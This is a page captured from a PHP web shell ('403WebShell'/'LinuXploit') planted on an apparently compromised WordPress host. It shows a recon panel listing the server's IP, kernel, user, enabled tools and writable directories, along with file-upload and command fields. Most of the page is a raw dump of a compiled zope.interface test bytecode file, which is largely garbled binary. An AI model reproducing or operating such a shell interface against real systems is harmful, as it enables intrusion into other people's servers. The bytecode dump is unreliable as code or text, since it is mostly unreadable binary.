Warning: chmod(): No such file or directory in /home/tuempresavirtual.cl/public_html/wp-content/plugins/appointment-hour-booking/app-booking-plugin.php on line 3
403WebShell
403Webshell
Server IP : 186.64.123.29  /  Your IP : 216.73.217.94
Web Server : LiteSpeed
System : Linux house.hostinglat.cl 5.15.0-185-generic #195-Ubuntu SMP Fri Jun 19 17:11:50 UTC 2026 x86_64
User : tuemp9827 ( 1016)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/zope/interface/tests/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/zope/interface/tests/__pycache__/test_advice.cpython-310.pyc
o

$
x`�)�@s�dZddlZddlZddlmZddlmZGdd�dej�ZdZGdd	�d	ej�Z	Gd
d�dej�Z
Gdd
�d
ej�ZGdd�dej�ZdS)asTests for advice

This module was adapted from 'protocols.tests.advice', part of the Python
Enterprise Application Kit (PEAK).  Please notify the PEAK authors
(pje@telecommunity.com and tsarna@sarna.org) if bugs are found or
Zope-specific changes are required, so that the PEAK version of this module
can be kept in sync.

PEAK is a Python application framework that interoperates with (but does
not require) Zope 3 and Twisted.  It provides tools for manipulating UML
models, object-relational persistence, aspect-oriented programming, and more.
Visit the PEAK home page at http://peak.telecommunity.com for more information.
�N)�_skip_under_py2)�_skip_under_py3kc@s8eZdZdd�Zedd��Zdd�Zdd�Zd	d
�ZdS)�
FrameInfoTestcCsLddlm}|j\}}}}|�|d�|j||fD]
}|�||ju�qdS)Nr��advisory_testing�module)�zope.interface.testsrZmoduleLevelFrameInfo�assertEqual�__dict__�
assertTrue�
my_globals��selfr�kindr�f_locals�	f_globals�d�r�B/usr/lib/python3/dist-packages/zope/interface/tests/test_advice.py�
test_w_module%s��zFrameInfoTest.test_w_modulecCs^ddlm}|jj\}}}}|�|d�|�||jju�|j|fD]
}|�||ju�q"dS�Nrr�class)rrZClassicClass�classLevelFrameInfor	rr
rr
rrr�test_w_ClassicClass-s�
��z!FrameInfoTest.test_w_ClassicClasscCsLddlm}|jj\}}}}|�|d�|j|fD]
}|�||ju�qdSr)rrZ
NewStyleClassrr	r
rrr
rrr�test_w_NewStyleClass;s��z"FrameInfoTest.test_w_NewStyleClasscCs`ddlm}|t���\}}}}|�|d�|�|t�u�|j|fD]
}|�|t�u�q#dS)Nr��getFrameInfoz
function call)	�zope.interface.advicer�sys�	_getframer	r�localsr
�globals)rrrrrrrrrr�test_inside_function_callFs�z'FrameInfoTest.test_inside_function_callcCsnddlm}d|i}i}tt||�|�|dd�|�|d|u�|�|ddu�|�|d|u�dS)	Nrrrr�execrrr)rrr#�_FUNKY_EXECr	r)rrZ_globalsZ_localsrrr�test_inside_execNszFrameInfoTest.test_inside_execN)	�__name__�
__module__�__qualname__rrrrr"r%rrrrr#s

rzMimport sys
kind, module, f_locals, f_globals = getFrameInfo(sys._getframe())
c@s<eZdZedd��Zedd��Zedd��Zedd��Zd	S)
�AdviceTestscsnddlm�g�G��fdd�dt�}dD]
}|�t|t��|\}q|��d|fd|gfd|ggfg�dS)	Nr��pingcs*eZdZ��d���d���d�dS)z#AdviceTests.test_order.<locals>.Foo���N�r&r'r(r��logr+rr�Foods

r2)r,r-r.r,r-r.)�%zope.interface.tests.advisory_testingr+�objectr�
isinstance�listr	)rr2�irr0r�
test_order`s(zAdviceTests.test_ordercsLddlm�Gdd�dt��G��fdd�d��}|\}|�|j�u�dS)Nrr*c@�eZdZdS)z8AdviceTests.test_single_explicit_meta.<locals>.MetaclassNr/rrrr�	Metaclasst�r:c�eZdZ�Z�gd�dS)z7AdviceTests.test_single_explicit_meta.<locals>.Concreter,N�r&r'r(Z
__metaclass__r�r:r+rr�Concretew�r?)r3r+�typer�	__class__)rr?rr>r�test_single_explicit_metaps
z%AdviceTests.test_single_explicit_metacs�ddlm�Gdd�dt��Gdd�dt��G�fdd�d�}G�fd	d
�d
�}zG�fdd�d||�}|�d
�Wn	tyCYnwGdd�d����G��fdd�d||�}|�t|t��|\}|�t|���dS)Nrr*c@r9)z0AdviceTests.test_mixed_metas.<locals>.Metaclass1Nr/rrrr�
Metaclass1�r;rDc@r9)z0AdviceTests.test_mixed_metas.<locals>.Metaclass2Nr/rrrr�
Metaclass2�r;rEc�eZdZ�ZdS)z+AdviceTests.test_mixed_metas.<locals>.Base1Nr=r)rDrr�Base1��rGcrF)z+AdviceTests.test_mixed_metas.<locals>.Base2Nr=r)rErr�Base2�rHrIc�eZdZ�gd�dS�z-AdviceTests.test_mixed_metas.<locals>.Derivedr,Nr/rr*rr�Derived��rLz(Should have gotten incompatibility errorc@r9)z0AdviceTests.test_mixed_metas.<locals>.Metaclass3Nr/rrrr�
Metaclass3�r;rNcr<rKr=r)rNr+rrrL�r@)r3r+rAZfail�	TypeErrorrr5r6)rrGrIrLr)rDrErNr+r�test_mixed_metass �zAdviceTests.test_mixed_metascsDddlm�ddlm}G�fdd�d�}|\}|�t|�|�dS)Nrr*��	ClassTypecrJ)z-AdviceTests.test_meta_no_bases.<locals>.Thingr,Nr/rr*rr�Thing�rMrS)r3r+�typesrRr	rA)rrRrS�klassrr*r�test_meta_no_bases�s
zAdviceTests.test_meta_no_basesN)r&r'r(rr8rCrPrVrrrrr)^s


!r)c@s,eZdZdd�Zdd�Zdd�Zdd�Zd	S)
�Test_isClassAdvisorcO�ddlm}||i|��S)Nr)�isClassAdvisor)rrY)r�args�kwrYrrr�_callFUT��zTest_isClassAdvisor._callFUTcCs|�|�|�d�dS)NF�r	r\�rrrr�test_w_non_function��z'Test_isClassAdvisor.test_w_non_functioncCsdd�}|�|�|�d�dS)NcS�t���N��NotImplementedErrorrrrr�foo��z7Test_isClassAdvisor.test_w_normal_function.<locals>.fooFr^)rrfrrr�test_w_normal_function�sz*Test_isClassAdvisor.test_w_normal_functioncCs&dd�}t�|_|�|�|�d�dS)NcSrbrcrdrrrr�bar�rgz8Test_isClassAdvisor.test_w_advisor_function.<locals>.barT)r4ZpreviousMetaclassr	r\)rrirrr�test_w_advisor_function�sz+Test_isClassAdvisor.test_w_advisor_functionN)r&r'r(r\r`rhrjrrrrrW�s
rWc@sxeZdZdd�Zedd��Zdd�Zdd�Zed	d
��Ze	dd��Z
ed
d��Ze	dd��Zedd��Z
e	dd��ZdS)�Test_determineMetaclasscOrX)Nr)�determineMetaclass)rrl)rrZr[rlrrrr\�r]z Test_determineMetaclass._callFUTcCs"ddlm}|�|�d�|�dS)NrrQr)rTrRr	r\)rrRrrr�
test_empty�sz"Test_determineMetaclass.test_emptycCs(Gdd�dt�}|�|�d|�|�dS)Nc@r9)zDTest_determineMetaclass.test_empty_w_explicit_metatype.<locals>.MetaNr/rrrr�Meta�r;rnr�rAr	r\�rrnrrr�test_empty_w_explicit_metatype��z6Test_determineMetaclass.test_empty_w_explicit_metatypecCs(Gdd�dt�}|�|�|f�t�dS)Nc@r9)z1Test_determineMetaclass.test_single.<locals>.MetaNr/rrrrrn�r;rnrorprrr�test_single�rrz#Test_determineMetaclass.test_singlecs>Gdd�dt��G�fdd�dt�}|�|�|tf���dS)Nc@r9)z<Test_determineMetaclass.test_meta_of_class.<locals>.MetametaNr/rrrr�Metameta�r;rtcrF)z8Test_determineMetaclass.test_meta_of_class.<locals>.MetaNr=r�rtrrrn�rHrnrorprrur�test_meta_of_class�sz*Test_determineMetaclass.test_meta_of_classcCsFd�gd��}i}t||�|d}|d}|�|�|tf�|�dS)N�
)zclass Metameta(type):�    passz%class Meta(type, metaclass=Metameta):rxrnrt)�joinr#r	r\rA)r�EXEC�globsrnrtrrr�test_meta_of_class_py3k�s
z/Test_determineMetaclass.test_meta_of_class_py3kcsbGdd�dt��Gdd�d���G�fdd�dt�}G�fdd�dt�}|�|�||f���dS)	Nc@r9)zBTest_determineMetaclass.test_multiple_in_hierarchy.<locals>.Meta_ANr/rrrr�Meta_A�r;r}c@r9)zBTest_determineMetaclass.test_multiple_in_hierarchy.<locals>.Meta_BNr/rrrr�Meta_B�r;r~crF)z=Test_determineMetaclass.test_multiple_in_hierarchy.<locals>.ANr=r�r}rr�A�rHr�crF)z=Test_determineMetaclass.test_multiple_in_hierarchy.<locals>.BNr=r�r~rr�B�rHr�ro�rr�r�r�r}r~r�test_multiple_in_hierarchy�s
z2Test_determineMetaclass.test_multiple_in_hierarchycCsVd�gd��}i}t||�|d}|d}|d}|d}|�|�||f�|�dS)Nrw)�class Meta_A(type):rxzclass Meta_B(Meta_A):rx� class A(type, metaclass=Meta_A):rx� class B(type, metaclass=Meta_B):rxr}r~r�r�)ryr#r	r\�rrzr{r}r~r�r�rrr�test_multiple_in_hierarchy_py3k�s

z7Test_determineMetaclass.test_multiple_in_hierarchy_py3kcs`Gdd�dt��Gdd�dt��G�fdd�dt�}G�fdd�dt�}|�t|j||f�dS)	Nc@r9)zFTest_determineMetaclass.test_multiple_not_in_hierarchy.<locals>.Meta_ANr/rrrrr}r;r}c@r9)zFTest_determineMetaclass.test_multiple_not_in_hierarchy.<locals>.Meta_BNr/rrrrr~r;r~crF)zATest_determineMetaclass.test_multiple_not_in_hierarchy.<locals>.ANr=rrrrr�rHr�crF)zATest_determineMetaclass.test_multiple_not_in_hierarchy.<locals>.BNr=rr�rrr�rHr�)rA�assertRaisesrOr\r�rr�r�test_multiple_not_in_hierarchys
z6Test_determineMetaclass.test_multiple_not_in_hierarchycCsTd�gd��}i}t||�|d}|d}|d}|d}|�t|j||f�dS)Nrw)r�rxzclass Meta_B(type):rxr�rxr�rxr}r~r�r�)ryr#r�rOr\r�rrr�#test_multiple_not_in_hierarchy_py3ks

z;Test_determineMetaclass.test_multiple_not_in_hierarchy_py3kN)r&r'r(r\rrmrqrsrvrr|r�r�r�r�rrrrrk�s$

	



rkc@sTeZdZdd�Zdd�Zedd��Zedd��Zd	d
�Zdd�Z	d
d�Z
dd�ZdS)�Test_minimalBasescCsddlm}||�S)Nr)�minimalBases)rr�)rZklassesr�rrrr\4szTest_minimalBases._callFUTcCs|�|�g�g�dSrcr^r_rrrrm8razTest_minimalBases.test_emptycCs*Gdd�d�}|�|�t|�g�g�dS)Nc@r9)z1Test_minimalBases.test_w_oldstyle_meta.<locals>.CNr/rrrr�C=r;r��r	r\rA�rr�rrr�test_w_oldstyle_meta;sz&Test_minimalBases.test_w_oldstyle_metacCs(Gdd�d�}|�|�|g�|g�dS)Nc@r9)z2Test_minimalBases.test_w_oldstyle_class.<locals>.CNr/rrrrr�Cr;r�r^r�rrr�test_w_oldstyle_classAsz'Test_minimalBases.test_w_oldstyle_classcCs|�|�tg�tg�dSrcr�r_rrr�test_w_newstyle_metaGsz&Test_minimalBases.test_w_newstyle_metacCs*Gdd�dt�}|�|�|g�|g�dS)Nc@r9)z2Test_minimalBases.test_w_newstyle_class.<locals>.CNr/rrrrr�Kr;r��r4r	r\r�rrr�test_w_newstyle_classJsz'Test_minimalBases.test_w_newstyle_classcCs�Gdd�dt�}Gdd�d|�}Gdd�d|�}Gdd�dt�}|�|�|||g�|g�|�|�||g�|g�|�|�||g�|g�|�|�||g�|g�|�|�|||g�||g�dS)	Nc@r9)z@Test_minimalBases.test_simple_hierarchy_skips_implied.<locals>.ANr/rrrrr�Pr;r�c@r9)z@Test_minimalBases.test_simple_hierarchy_skips_implied.<locals>.BNr/rrrrr�Rr;r�c@r9)z@Test_minimalBases.test_simple_hierarchy_skips_implied.<locals>.CNr/rrrrr�Tr;r�c@r9)z@Test_minimalBases.test_simple_hierarchy_skips_implied.<locals>.DNr/rrrr�DVr;r�r�)rr�r�r�r�rrr�#test_simple_hierarchy_skips_impliedOs z5Test_minimalBases.test_simple_hierarchy_skips_impliedcCs@Gdd�dt�}Gdd�dt�}|�|�|||g�||g�dS)Nc@r9)z@Test_minimalBases.test_repeats_kicked_to_end_of_queue.<locals>.ANr/rrrrr�_r;r�c@r9)z@Test_minimalBases.test_repeats_kicked_to_end_of_queue.<locals>.BNr/rrrrr�ar;r�r�r�rrr�#test_repeats_kicked_to_end_of_queue^s z5Test_minimalBases.test_repeats_kicked_to_end_of_queueN)r&r'r(r\rmrr�r�r�r�r�r�rrrrr�2s

r�)
�__doc__ZunittestrZzope.interface._compatrrZTestCaserr$r)rWrkr�rrrr�<module>s
6Mr

Youez - 2016 - github.com/yon3zu
LinuXploit